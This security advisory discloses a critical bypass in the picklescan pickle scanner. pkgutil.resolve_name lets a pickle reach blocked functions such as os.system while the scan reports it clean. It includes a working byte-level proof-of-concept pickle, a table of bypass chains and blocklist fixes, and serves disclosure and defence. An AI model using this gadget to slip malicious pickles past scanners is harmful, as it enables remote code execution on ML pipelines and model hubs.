Critical

PickleScan's pkgutil.resolve_name has a universal blocklist bypass

  • Disclosed: 03.03.2026
  • Updated: 11.10.2026 12:20

Summary

pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE

picklescan's opcode scanner sees:

  • STACK_GLOBAL with module=pkgutil, name=resolve_name → NOT in blocklist → CLEAN
  • The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner

The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

Decompiled Pickle (what the data actually does)

python
from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

Chain Resolves To Confirmed RCE picklescan Result
resolve_name("os:system") os.system YES CLEAN
resolve_name("builtins:exec") builtins.exec YES CLEAN
resolve_name("builtins:eval") builtins.eval YES CLEAN
resolve_name("subprocess:getoutput") subprocess.getoutput YES CLEAN
resolve_name("subprocess:getstatusoutput") subprocess.getstatusoutput YES CLEAN
resolve_name("subprocess:call") subprocess.call YES (shell=True needed) CLEAN
resolve_name("subprocess:check_call") subprocess.check_call YES (shell=True needed) CLEAN
resolve_name("subprocess:check_output") subprocess.check_output YES (shell=True needed) CLEAN
resolve_name("posix:system") posix.system YES CLEAN
resolve_name("cProfile:run") cProfile.run YES CLEAN
resolve_name("profile:run") profile.run YES CLEAN
resolve_name("pty:spawn") pty.spawn YES CLEAN

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

python
import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

 # picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)

Why pkgutil Is Not Blocked

picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve_name() can resolve ANY attribute from ANY module, making it a universal gadget.

Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.

Impact

This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in _unsafe_globals — is rendered ineffective. An attacker needs only use pkgutil.resolve_name as an indirection layer to call any Python function.

This affects:

  • HuggingFace Hub (uses picklescan)
  • Any ML pipeline using picklescan for safety validation
  • Any system relying on picklescan's blocklist to prevent malicious pickle execution

Suggested Fix

  1. Immediate: Add pkgutil to _unsafe_globals:

    python
    "pkgutil": {"resolve_name"},
  2. Also block similar resolution functions:

    python
    "importlib": "*",
    "importlib.util": "*",
  3. Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider:

    • Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching "module:function")
    • Treating unknown globals as dangerous by default
    • Switching to an allowlist model

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) picklescan < 1.0.4 1.0.4

References

CVSS score 10/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-183, CWE-693
Platform
Python (PyPI)
Package
picklescan
Disclosed
03.03.2026
Updated
11.10.2026 12:20

Sources and licenses

OSV / GitHub Advisory Database - GHSA-vvpj-8cmc-gx39 - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-456 - PyPA Advisory Database; CC BY 4.0

Vulnerability history: picklescan

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
02.2025 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 7
  • High 25
  • Medium 26

Disclosures per year

  1. 2025: 51
  2. 2026: 7
Severity:
  1. PickleScan's pkgutil.resolve_name has a universal blocklist bypass this entry
    Critical · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  2. Critical · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  3. High · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  4. High · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  5. High ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  6. High CVE-2025-71320 < 0.0.33 0.0.33
  7. High · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  8. High CVE-2025-71321 < 0.0.33 0.0.33
  9. Critical · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
Show more (12) Showing 20 of 32

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.